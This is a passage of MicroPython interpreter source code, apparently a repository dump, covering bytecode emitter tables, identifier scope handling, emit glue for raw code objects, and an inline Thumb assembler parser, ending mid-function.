mp_emit_bc_load_name, mp_emit_bc_load_global, }; const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_store_id_ops = { mp_emit_bc_store_fast, mp_emit_bc_store_deref, mp_emit_bc_store_name, mp_emit_bc_store_global, }; const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_delete_id_ops = { mp_emit_bc_delete_fast, mp_emit_bc_delete_deref, mp_emit_bc_delete_name, mp_emit_bc_delete_global, }; #endif #endif //MICROPY_ENABLE_COMPILER ================================================ FILE: micropython/source/py/emitcommon.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/emit.h" #if MICROPY_ENABLE_COMPILER void mp_emit_common_get_id_for_load(scope_t *scope, qstr qst) { // name adding/lookup bool added; id_info_t *id = scope_find_or_add_id(scope, qst, &added); if (added) { scope_find_local_and_close_over(scope, id, qst); } } void mp_emit_common_get_id_for_modification(scope_t *scope, qstr qst) { // name adding/lookup bool added; id_info_t *id = scope_find_or_add_id(scope, qst, &added); if (added) { if (SCOPE_IS_FUNC_LIKE(scope->kind)) { id->kind = ID_INFO_KIND_LOCAL; } else { id->kind = ID_INFO_KIND_GLOBAL_IMPLICIT; } } else if (SCOPE_IS_FUNC_LIKE(scope->kind) && id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) { // rebind as a local variable id->kind = ID_INFO_KIND_LOCAL; } } void mp_emit_common_id_op(emit_t *emit, const mp_emit_method_table_id_ops_t *emit_method_table, scope_t *scope, qstr qst) { // assumes pass is greater than 1, ie that all identifiers are defined in the scope id_info_t *id = scope_find(scope, qst); assert(id != NULL); // call the emit backend with the correct code if (id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) { emit_method_table->name(emit, qst); } else if (id->kind == ID_INFO_KIND_GLOBAL_EXPLICIT) { emit_method_table->global(emit, qst); } else if (id->kind == ID_INFO_KIND_LOCAL) { emit_method_table->fast(emit, qst, id->local_num); } else { assert(id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE); emit_method_table->deref(emit, qst, id->local_num); } } #endif // MICROPY_ENABLE_COMPILER ================================================ FILE: micropython/source/py/emitglue.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ // This code glues the code emitters to the runtime. #include #include #include #include #include "py/emitglue.h" #include "py/runtime0.h" #include "py/bc.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #define WRITE_CODE (1) #define DEBUG_printf DEBUG_printf #define DEBUG_OP_printf(...) DEBUG_printf(__VA_ARGS__) #else // don't print debugging info #define DEBUG_printf(...) (void)0 #define DEBUG_OP_printf(...) (void)0 #endif #if MICROPY_DEBUG_PRINTERS mp_uint_t mp_verbose_flag = 0; #endif mp_raw_code_t *mp_emit_glue_new_raw_code(void) { mp_raw_code_t *rc = m_new0(mp_raw_code_t, 1); rc->kind = MP_CODE_RESERVED; return rc; } void mp_emit_glue_assign_bytecode(mp_raw_code_t *rc, const byte *code, mp_uint_t len, const mp_uint_t *const_table, #if MICROPY_PERSISTENT_CODE_SAVE uint16_t n_obj, uint16_t n_raw_code, #endif mp_uint_t scope_flags) { (void)len; // possibly unused rc->kind = MP_CODE_BYTECODE; rc->scope_flags = scope_flags; rc->data.u_byte.bytecode = code; rc->data.u_byte.const_table = const_table; #if MICROPY_PERSISTENT_CODE_SAVE rc->data.u_byte.bc_len = len; rc->data.u_byte.n_obj = n_obj; rc->data.u_byte.n_raw_code = n_raw_code; #endif #ifdef DEBUG_PRINT DEBUG_printf("assign byte code: code=%p len=" UINT_FMT " flags=%x\n", code, len, (uint)scope_flags); #endif #if MICROPY_DEBUG_PRINTERS if (mp_verbose_flag >= 2) { mp_bytecode_print(rc, code, len, const_table); } #endif } #if MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM void mp_emit_glue_assign_native(mp_raw_code_t *rc, mp_raw_code_kind_t kind, void *fun_data, mp_uint_t fun_len, const mp_uint_t *const_table, mp_uint_t n_pos_args, mp_uint_t scope_flags, mp_uint_t type_sig) { assert(kind == MP_CODE_NATIVE_PY || kind == MP_CODE_NATIVE_VIPER || kind == MP_CODE_NATIVE_ASM); rc->kind = kind; rc->scope_flags = scope_flags; rc->n_pos_args = n_pos_args; rc->data.u_native.fun_data = fun_data; rc->data.u_native.const_table = const_table; rc->data.u_native.type_sig = type_sig; #ifdef DEBUG_PRINT DEBUG_printf("assign native: kind=%d fun=%p len=" UINT_FMT " n_pos_args=" UINT_FMT " flags=%x\n", kind, fun_data, fun_len, n_pos_args, (uint)scope_flags); for (mp_uint_t i = 0; i < fun_len; i++) { if (i > 0 && i % 16 == 0) { DEBUG_printf("\n"); } DEBUG_printf(" %02x", ((byte*)fun_data)[i]); } DEBUG_printf("\n"); #ifdef WRITE_CODE FILE *fp_write_code = fopen("out-code", "wb"); fwrite(fun_data, fun_len, 1, fp_write_code); fclose(fp_write_code); #endif #else (void)fun_len; #endif } #endif mp_obj_t mp_make_function_from_raw_code(const mp_raw_code_t *rc, mp_obj_t def_args, mp_obj_t def_kw_args) { DEBUG_OP_printf("make_function_from_raw_code %p\n", rc); assert(rc != NULL); // def_args must be MP_OBJ_NULL or a tuple assert(def_args == MP_OBJ_NULL || MP_OBJ_IS_TYPE(def_args, &mp_type_tuple)); // def_kw_args must be MP_OBJ_NULL or a dict assert(def_kw_args == MP_OBJ_NULL || MP_OBJ_IS_TYPE(def_kw_args, &mp_type_dict)); // make the function, depending on the raw code kind mp_obj_t fun; switch (rc->kind) { #if MICROPY_EMIT_NATIVE case MP_CODE_NATIVE_PY: fun = mp_obj_new_fun_native(def_args, def_kw_args, rc->data.u_native.fun_data, rc->data.u_native.const_table); break; case MP_CODE_NATIVE_VIPER: fun = mp_obj_new_fun_viper(rc->n_pos_args, rc->data.u_native.fun_data, rc->data.u_native.type_sig); break; #endif #if MICROPY_EMIT_INLINE_ASM case MP_CODE_NATIVE_ASM: fun = mp_obj_new_fun_asm(rc->n_pos_args, rc->data.u_native.fun_data, rc->data.u_native.type_sig); break; #endif default: // rc->kind should always be set and BYTECODE is the only remaining case assert(rc->kind == MP_CODE_BYTECODE); fun = mp_obj_new_fun_bc(def_args, def_kw_args, rc->data.u_byte.bytecode, rc->data.u_byte.const_table); break; } // check for generator functions and if so wrap in generator object if ((rc->scope_flags & MP_SCOPE_FLAG_GENERATOR) != 0) { fun = mp_obj_new_gen_wrap(fun); } return fun; } mp_obj_t mp_make_closure_from_raw_code(const mp_raw_code_t *rc, mp_uint_t n_closed_over, const mp_obj_t *args) { DEBUG_OP_printf("make_closure_from_raw_code %p " UINT_FMT " %p\n", rc, n_closed_over, args); // make function object mp_obj_t ffun; if (n_closed_over & 0x100) { // default positional and keyword args given ffun = mp_make_function_from_raw_code(rc, args[0], args[1]); } else { // default positional and keyword args not given ffun = mp_make_function_from_raw_code(rc, MP_OBJ_NULL, MP_OBJ_NULL); } // wrap function in closure object return mp_obj_new_closure(ffun, n_closed_over & 0xff, args + ((n_closed_over >> 7) & 2)); } ================================================ FILE: micropython/source/py/emitinlinethumb.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/emit.h" #include "py/asmthumb.h" #if MICROPY_EMIT_INLINE_THUMB typedef enum { // define rules with a compile function #define DEF_RULE(rule, comp, kind, ...) PN_##rule, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC PN_const_object, // special node for a constant, generic Python object // define rules without a compile function #define DEF_RULE(rule, comp, kind, ...) #define DEF_RULE_NC(rule, kind, ...) PN_##rule, #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC } pn_kind_t; struct _emit_inline_asm_t { asm_thumb_t as; uint16_t pass; mp_obj_t *error_slot; mp_uint_t *co_data; mp_uint_t max_num_labels; qstr *label_lookup; }; STATIC void emit_inline_thumb_error_msg(emit_inline_asm_t *emit, const char *msg) { *emit->error_slot = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg); } STATIC void emit_inline_thumb_error_exc(emit_inline_asm_t *emit, mp_obj_t exc) { *emit->error_slot = exc; } emit_inline_asm_t *emit_inline_thumb_new(mp_uint_t *co_data, mp_uint_t max_num_labels) { emit_inline_asm_t *emit = m_new_obj(emit_inline_asm_t); memset(&emit->as, 0, sizeof(emit->as)); mp_asm_base_init(&emit->as.base, max_num_labels); emit->co_data = co_data; emit->max_num_labels = max_num_labels; emit->label_lookup = m_new(qstr, max_num_labels); return emit; } void emit_inline_thumb_free(emit_inline_asm_t *emit) { m_del(qstr, emit->label_lookup, emit->max_num_labels); mp_asm_base_deinit(&emit->as.base, false); m_del_obj(emit_inline_asm_t, emit); } STATIC void emit_inline_thumb_start_pass(emit_inline_asm_t *emit, pass_kind_t pass, mp_obj_t *error_slot) { emit->pass = pass; emit->error_slot = error_slot; if (emit->pass == MP_PASS_CODE_SIZE) { memset(emit->label_lookup, 0, emit->max_num_labels * sizeof(qstr)); } mp_asm_base_start_pass(&emit->as.base, pass == MP_PASS_EMIT ? MP_ASM_PASS_EMIT : MP_ASM_PASS_COMPUTE); asm_thumb_entry(&emit->as, 0); } STATIC void emit_inline_thumb_end_pass(emit_inline_asm_t *emit, mp_uint_t type_sig) { asm_thumb_exit(&emit->as); asm_thumb_end_pass(&emit->as); } STATIC mp_uint_t emit_inline_thumb_count_params(emit_inline_asm_t *emit, const byte *pn, const byte *ptop) { mp_uint_t n_params = pt_num_nodes(pn, ptop); if (n_params > 4) { emit_inline_thumb_error_msg(emit, "can only have up to 4 parameters to Thumb assembly"); return 0; } for (mp_uint_t i = 0; i < n_params; i++) { if (!MP_PARSE_NODE_IS_ID(pn)) { emit_inline_thumb_error_msg(emit, "parameters must be registers in sequence r0 to r3"); return 0; } qstr qst; pn = pt_extract_id(pn, &qst); const char *p = qstr_str(qst); if (!(strlen(p) == 2 && p[0] == 'r' && p[1] == '0' + i)) { emit_inline_thumb_error_msg(emit, "parameters must be registers in sequence r0 to r3"); return 0; } } return n_params; } STATIC bool emit_inline_thumb_label(emit_inline_asm_t *emit, mp_uint_t label_num, qstr label_id) { assert(label_num < emit->max_num_labels); if (emit->pass == MP_PASS_CODE_SIZE) { // check for duplicate label on first pass for (uint i = 0; i < emit->max_num_labels; i++) { if (emit->label_lookup[i] == label_id) { return false; } } } emit->label_lookup[label_num] = label_id; mp_asm_base_label_assign(&emit->as.base, label_num); return true; } typedef struct _reg_name_t { byte reg; byte name[3]; } reg_name_t; STATIC const reg_name_t reg_name_table[] = { {0, "r0\0"}, {1, "r1\0"}, {2, "r2\0"}, {3, "r3\0"}, {4, "r4\0"}, {5, "r5\0"}, {6, "r6\0"}, {7, "r7\0"}, {8, "r8\0"}, {9, "r9\0"}, {10, "r10"}, {11, "r11"}, {12, "r12"}, {13, "r13"}, {14, "r14"}, {15, "r15"}, {10, "sl\0"}, {11, "fp\0"}, {13, "sp\0"}, {14, "lr\0"}, {15, "pc\0"}, }; #define MAX_SPECIAL_REGISTER_NAME_LENGTH 7 typedef struct _special_reg_name_t { byte reg; char name[MAX_SPECIAL_REGISTER_NAME_LENGTH + 1]; } special_reg_name_t; STATIC const special_reg_name_t special_reg_name_table[] = { {5, "IPSR"}, {17, "BASEPRI"}, }; // return empty string in case of error, so we can attempt to parse the string // without a special check if it was in fact a string STATIC const char *get_arg_str(mp_parse_node_t pn) { if (MP_PARSE_NODE_IS_ID(pn)) { qstr qst; pt_extract_id(pn, &qst); return qstr_str(qst); } else { return ""; } } STATIC mp_uint_t get_arg_reg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, mp_uint_t max_reg) { const char *reg_str = get_arg_str(pn); for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(reg_name_table); i++) { const reg_name_t *r = ®_name_table[i]; if (reg_str[0] == r->name[0] && reg_str[1] == r->name[1] && reg_str[2] == r->name[2] && (reg_str[2] == '\0' || reg_str[3] == '\0')) { if (r->reg > max_reg) { emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects at most r%d", op, max_reg)); return 0; } else { return r->reg; } } } emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects a register", op)); return 0; } STATIC mp_uint_t get_arg_special_reg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) { const char *reg_str = get_arg_str(pn); for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(special_reg_name_table); i++) { const special_reg_name_t *r = &special_reg_name_table[i]; if (strcmp(r->name, reg_str) == 0) { return r->reg; } } emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects a special register", op)); return 0; } #if MICROPY_EMIT_INLINE_THUMB_FLOAT STATIC mp_uint_t get_arg_vfpreg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) { const char *reg_str = get_arg_str(pn); if (reg_str[0] == 's' && reg_str[1] != '\0') { mp_uint_t regno = 0; for (++reg_str; *reg_str; ++reg_str) { mp_uint_t v = *reg_str; if (!('0' <= v && v <= '9')) { goto malformed; } regno = 10 * regno + v - '0'; } if (regno > 31) { emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects at most r%d", op, 31)); return 0; } else { return regno; } } malformed: emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects an FPU register", op)); return 0; } #endif STATIC mp_uint_t get_arg_reglist(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) { // a register list looks like {r0, r1, r2} and is parsed as a Python set if (!pt_is_rule(pn, PN_atom_brace)) { goto bad_arg; } const byte *ptop; pn = pt_rule_extract_top(pn, &ptop); mp_uint_t reglist = 0; if (pn == ptop) { goto bad_arg; } if (MP_PARSE_NODE_IS_ID(pn)) { // set with one element reglist |= 1 << get_arg_reg(emit, op, pn, 15); } else if (pt_is_rule(pn, PN_dictorsetmaker)) { pn = pt_rule_first(pn); const byte *p1 = pt_next(pn); if (pt_is_rule(p1, PN_dictorsetmaker_list)) { // set with multiple elements // get first element of set (we rely on get_arg_reg to catch syntax errors) reglist |= 1 << get_arg_reg(emit, op, pn, 15); // get tail elements (2nd, 3rd, ...) const byte *p1_top; p1 = pt_rule_extract_top(p1, &p1_top); if (p1 != p1_top) { mp_parse_node_extract_list(&p1, PN_dictorsetmaker_list2); } // process rest of elements for (; p1 != p1_top; p1 = pt_next(p1)) { reglist |= 1 << get_arg_reg(emit, op, p1, 15); } } else { goto bad_arg; } } else { goto bad_arg; } return reglist; bad_arg: emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects {r0, r1, ...}", op)); return 0; } STATIC uint32_t get_arg_i(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, uint32_t fit_mask) { mp_obj_t o; if (!mp_parse_node_get_int_maybe(pn, &o, emit->co_data)) { emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects an integer", op)); return 0; } uint32_t i = mp_obj_get_int_truncated(o); if ((i & (~fit_mask)) != 0) { emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' integer 0x%x does not fit in mask 0x%x", op, i, fit_mask)); return 0; } return i; } STATIC bool get_arg_addr(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, mp_parse_node_t *pn_base, mp_parse_node_t *pn_offset) { if (!pt_is_rule(pn, PN_atom_bracket)) { goto bad_arg; } if (pt_is_rule_empty(pn)) { goto bad_arg; } pn = pt_rule_first(pn); if (!pt_is_rule(pn, PN_testlist_comp)) { goto bad_arg; } const byte *ptop; pn = pt_rule_extract_top(pn, &ptop); if (pt_num_nodes(pn, ptop) != 2) { goto bad_arg; } *pn_base = pn; *pn_offset = pt_next(pn); return true; bad_arg: emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects an address of the form [a, b]", op)); return false; } STATIC int get_arg_label(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) { if (!MP_PARSE_NODE_IS_ID(pn)) { emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects a label", op)); return 0; } qstr label_qstr; pt_extract_id(pn, &label_qstr); for (uint i = 0; i < emit->max_num_labels; i++) { if (emit->label_lookup[i] == label_qstr) { return i; } } // only need to have the labels on the last pass if (emit->pass == MP_PASS_EMIT) { emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "label '%q' not defined", label_qstr)); } return 0; } typedef struct _cc_name_t { byte cc; byte name[2]; } cc_name_t; STATIC const cc_name_t cc_name_table[] = { { ASM_THUMB_CC_EQ, "eq" }, { ASM_THUMB_CC_NE, "ne" }, { ASM_THUMB_CC_CS, "cs" }, { ASM_THUMB_CC_CC, "cc" }, { ASM_THUMB_CC_MI, "mi" }, { ASM_THUMB_CC_PL, "pl" }, { ASM_THUMB_CC_VS, "vs" }, { ASM_THUMB_CC_VC, "vc" }, { ASM_THUMB_CC_HI, "hi" }, { ASM_THUMB_CC_LS, "ls" }, { ASM_THUMB_CC_GE, "ge" }, { ASM_THUMB_CC_LT, "lt" }, { ASM_THUMB_CC_GT, "gt" }, { ASM_THUMB_CC_LE, "le" }, }; typedef struct _format_4_op_t { byte op; char name[3]; } format_4_op_t; #define X(x) (((x) >> 4) & 0xff) // only need 1 byte to distinguish these ops STATIC const format_4_op_t format_4_op_table[] = { { X(ASM_THUMB_FORMAT_4_EOR), "eor" }, { X(ASM_THUMB_FORMAT_4_LSL), "lsl" }, { X(ASM_THUMB_FORMAT_4_LSR), "lsr" }, { X(ASM_THUMB_FORMAT_4_ASR), "asr" }, { X(ASM_THUMB_FORMAT_4_ADC), "adc" }, { X(ASM_THUMB_FORMAT_4_SBC), "sbc" }, { X(ASM_THUMB_FORMAT_4_ROR), "ror" }, { X(ASM_THUMB_FORMAT_4_TST), "tst" }, { X(ASM_THUMB_FORMAT_4_NEG), "neg" }, { X(ASM_THUMB_FORMAT_4_CMP), "cmp" }, { X(ASM_THUMB_FORMAT_4_CMN), "cmn" }, { X(ASM_THUMB_FORMAT_4_ORR), "orr" }, { X(ASM_THUMB_FORMAT_4_MUL), "mul" }, { X(ASM_THUMB_FORMAT_4_BIC), "bic" }, { X(ASM_THUMB_FORMAT_4_MVN), "mvn" }, }; #undef X // name is actually a qstr, which should fit in 16 bits typedef struct _format_9_10_op_t { uint16_t op; uint16_t name; } format_9_10_op_t; #define X(x) (x) STATIC const format_9_10_op_t format_9_10_op_table[] = { { X(ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_WORD_TRANSFER), MP_QSTR_ldr }, { X(ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER), MP_QSTR_ldrb }, { X(ASM_THUMB_FORMAT_10_LDRH), MP_QSTR_ldrh }, { X(ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_WORD_TRANSFER), MP_QSTR_str }, { X(ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER), MP_QSTR_strb }, { X(ASM_THUMB_FORMAT_10_STRH), MP_QSTR_strh }, }; #undef X #if MICROPY_EMIT_INLINE_THUMB_FLOAT // actual opcodes are: 0xee00 | op.hi_nibble, 0x0a00 | op.lo_nibble typedef struct _format_vfp_op_t { byte op; char name[3]; } format_vfp_op_t; STATIC const format_vfp_op_t format_vfp_op_table[] = { { 0x30, "add" }, { 0x34, "sub" }, { 0x20, "mul" }, { 0x80, "div" }, }; #endif // shorthand alias for whether we allow ARMv7-M instructions #define ARMV7M MICROPY_EMIT_INLINE_THUMB_ARMV7M STATIC void emit_inline_thumb_op(emit_inline_asm_t *emit, qstr op, mp_uint_t n_args, mp_parse_node_t *pn_args) { // TODO perhaps make two tables: // one_args = // "b", LAB, asm_thumb_b_n, // "bgt", LAB, asm_thumb_bgt_n, // two_args = // "movs", RLO, I8, asm_thumb_movs_reg_i8 // "movw", REG, REG, asm_thumb_movw_reg_i16 // three_args = // "subs", RLO, RLO, I3, asm_thumb_subs_reg_reg_i3 size_t op_len; const char *op_str = (const char*)qstr_data(op, &op_len); #if MICROPY_EMIT_INLINE_THUMB_FLOAT if (op_str[0] == 'v') { // floating point operations if (n_args == 2) { mp_uint_t op_code = 0x0ac0, op_code_hi; if (op == MP_QSTR_vcmp) { op_code_hi = 0xeeb4; op_vfp_twoargs:; mp_uint_t vd = get_arg_vfpreg(emit, op_str, pn_args[0]); mp_uint_t vm = get_arg_vfpreg(emit, op_str, pn_args[1]); asm_thumb_op32(&emit->as, op_code_hi | ((vd & 1) << 6), op_code | ((vd & 0x1e) << 11) | ((vm & 1) << 5) | (vm & 0x1e) >> 1); } else if (op == MP_QSTR_vsqrt) { op_code_hi = 0xeeb1; goto op_vfp_twoargs; } else if (op == MP_QSTR_vneg) { op_code_hi = 0xeeb1; op_code = 0x0a40; goto op_vfp_twoargs; } else if (op == MP_QSTR_vcvt_f32_s32) { op_code_hi = 0xeeb8; // int to float goto op_vfp_twoargs; } else if (op == MP_QSTR_vcvt_s32_f32) { op_code_hi = 0xeebd; // float to int goto op_vfp_twoargs; } else if (op == MP_QSTR_vmrs) { mp_uint_t reg_dest; const char *reg_str0 = get_arg_str(pn_args[0]); if (strcmp(reg_str0, "APSR_nzcv") == 0) { reg_dest = 15; } else { reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15); } const char *reg_str1 = get_arg_str(pn_args[1]); if (strcmp(reg_str1, "FPSCR") == 0) { // FP status to ARM reg asm_thumb_op32(&emit->as, 0xeef1, 0x0a10 | (reg_dest << 12)); } else { goto unknown_op; } } else if (op == MP_QSTR_vmov) { op_code_hi = 0xee00; mp_uint_t r_arm, vm; const char *reg_str = get_arg_str(pn_args[0]); if (reg_str[0] == 'r') { r_arm = get_arg_reg(emit, op_str, pn_args[0], 15); vm = get_arg_vfpreg(emit, op_str, pn_args[1]); op_code_hi |= 0x10; } else { vm = get_arg_vfpreg(emit, op_str, pn_args[0]); r_arm = get_arg_reg(emit, op_str, pn_args[1], 15); } asm_thumb_op32(&emit->as, op_code_hi | ((vm & 0x1e) >> 1), 0x0a10 | (r_arm << 12) | ((vm & 1) << 7)); } else if (op == MP_QSTR_vldr) { op_code_hi = 0xed90; op_vldr_vstr:; mp_uint_t vd = get_arg_vfpreg(emit, op_str, pn_args[0]); mp_parse_node_t pn_base, pn_offset; if (get_arg_addr(emit, op_str, pn_args[1], &pn_base, &pn_offset)) { mp_uint_t rlo_base = get_arg_reg(emit, op_str, pn_base, 7); mp_uint_t i8; i8 = get_arg_i(emit, op_str, pn_offset, 0x3fc) >> 2; asm_thumb_op32(&emit->as, op_code_hi | rlo_base | ((vd & 1) << 6), 0x0a00 | ((vd & 0x1e) << 11) | i8); } } else if (op == MP_QSTR_vstr) { op_code_hi = 0xed80; goto op_vldr_vstr; } else { goto unknown_op; } } else if (n_args == 3) { // search table for arith ops for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(format_vfp_op_table); i++) { if (strncmp(op_str + 1, format_vfp_op_table[i].name, 3) == 0 && op_str[4] == '\0') { mp_uint_t op_code_hi = 0xee00 | (format_vfp_op_table[i].op & 0xf0); mp_uint_t op_code = 0x0a00 | ((format_vfp_op_table[i].op & 0x0f) << 4); mp_uint_t vd = get_arg_vfpreg(emit, op_str, pn_args[0]); mp_uint_t vn = get_arg_vfpreg(emit, op_str, pn_args[1]); mp_uint_t vm = get_arg_vfpreg(emit, op_str, pn_args[2]); asm_thumb_op32(&emit->as, op_code_hi | ((vd & 1) << 6) | (vn >> 1), op_code | (vm >> 1) | ((vm & 1) << 5) | ((vd & 0x1e) << 11) | ((vn & 1) << 7)); return; } } goto unknown_op; } else { goto unknown_op; } } else #endif if (n_args == 0) { if (op == MP_QSTR_nop) { asm_thumb_op16(&emit->as, ASM_THUMB_OP_NOP); } else if (op == MP_QSTR_wfi) { asm_thumb_op16(&emit->as, ASM_THUMB_OP_WFI); } else { goto unknown_op; } } else if (n_args == 1) { if (op == MP_QSTR_b) { int label_num = get_arg_label(emit, op_str, pn_args[0]); if (!asm_thumb_b_n_label(&emit->as, label_num)) { goto branch_not_in_range; } } else if (op == MP_QSTR_bl) { int label_num = get_arg_label(emit, op_str, pn_args[0]); if (!asm_thumb_bl_label(&emit->as, label_num)) { goto branch_not_in_range; } } else if (op == MP_QSTR_bx) { mp_uint_t r = get_arg_reg(emit, op_str, pn_args[0], 15); asm_thumb_op16(&emit->as, 0x4700 | (r << 3)); } else if (op_str[0] == 'b' && (op_len == 3 || (op_len == 5 && op_str[3] == '_' && (op_str[4] == 'n' || (ARMV7M && op_str[4] == 'w'))))) { mp_uint_t cc = -1; for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(cc_name_table); i++) { if (op_str[1] == cc_name_table[i].name[0] && op_str[2] == cc_name_table[i].name[1]) { cc = cc_name_table[i].cc; } } if (cc == (mp_uint_t)-1) { goto unknown_op; } int label_num = get_arg_label(emit, op_str, pn_args[0]); if (!asm_thumb_bcc_nw_label(&emit->as, cc, label_num, op_len == 5 && op_str[4] == 'w')) { goto branch_not_in_range; } } else if (ARMV7M && op_str[0] == 'i' && op_str[1] == 't') { const char *arg_str = get_arg_str(pn_args[0]); mp_uint_t cc = -1; for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(cc_name_table); i++) { if (arg_str[0] == cc_name_table[i].name[0] && arg_str[1] == cc_name_table[i].name[1] && arg_str[2] == '\0') { cc = cc_name_table[i].cc; break; } } if (cc == (mp_uint_t)-1) { goto unknown_op; } const char *os = op_str + 2; while (*os != '\0') { os++; } if (os > op_str + 5) { goto unknown_op; } mp_uint_t it_mask = 8; while (--os >= op_str + 2) { it_mask >>= 1; if (*os == 't') { it_mask |= (cc & 1) << 3; } else if (*os == 'e') { it_mask |= ((~cc) & 1) << 3; } else { goto unknown_op; } } asm_thumb_it_cc(&emit->as, cc, it_mask); } else if (op == MP_QSTR_cpsid) { // TODO check pn_args[0] == i asm_thumb_op16(&emit->as, ASM_THUMB_OP_CPSID_I); } else if (op == MP_QSTR_cpsie) { // TODO check pn_args[0] == i asm_thumb_op16(&emit->as, ASM_THUMB_OP_CPSIE_I); } else if (op == MP_QSTR_push) { mp_uint_t reglist = get_arg_reglist(emit, op_str, pn_args[0]); if ((reglist & 0xff00) == 0) { asm_thumb_op16(&emit->as, 0xb400 | 